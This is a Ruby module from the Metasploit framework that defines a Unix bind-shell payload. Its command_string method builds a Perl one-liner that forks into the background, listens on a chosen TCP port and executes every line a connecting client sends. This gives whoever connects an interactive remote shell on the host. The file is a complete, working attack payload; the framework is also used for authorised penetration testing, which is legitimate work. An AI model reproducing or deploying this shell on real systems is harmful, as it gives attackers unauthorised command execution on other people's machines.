Unix Command Shell, Bind TCP (via Perl)

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


module MetasploitModule

  CachedSize = 240

  include Msf::Payload::Single
  include Msf::Sessions::CommandShellOptions

  def initialize(info = {})
    super(merge_info(info,
     'Name'          => 'Unix Command Shell, Bind TCP (via Perl)',
     'Description'   => 'Listen for a connection and spawn a command shell via perl',
     'Author'        => ['Samy <samy[at]samy.pl>', 'cazz'],
     'License'       => BSD_LICENSE,
     'Platform'      => 'unix',
     'Arch'          => ARCH_CMD,
     'Handler'       => Msf::Handler::BindTcp,
     'Session'       => Msf::Sessions::CommandShell,
     'PayloadType'   => 'cmd',
     'RequiredCmd'   => 'perl',
     'Payload'       =>
       {
         'Offsets' => { },
         'Payload' => ''
       }
    ))
    register_advanced_options(
      [
        OptString.new('PerlPath', [true, 'The path to the Perl executable', 'perl'])
      ]
    )
  end

  #
  # Constructs the payload
  #
  def generate(_opts = {})
    vprint_good(command_string)
    return super + command_string
  end

  #
  # Returns the command string to use for execution
  #
  def command_string
    cmd = "#{datastore['PerlPath']} -MIO -e '$p=fork();exit,if$p;foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(LocalPort,#{datastore['LPORT']},Reuse,1,Listen)->accept;$~->fdopen($c,w);STDIN->fdopen($c,r);while(<>){if($_=~ /(.*)/){system $1;}};'"
    return cmd
  end
end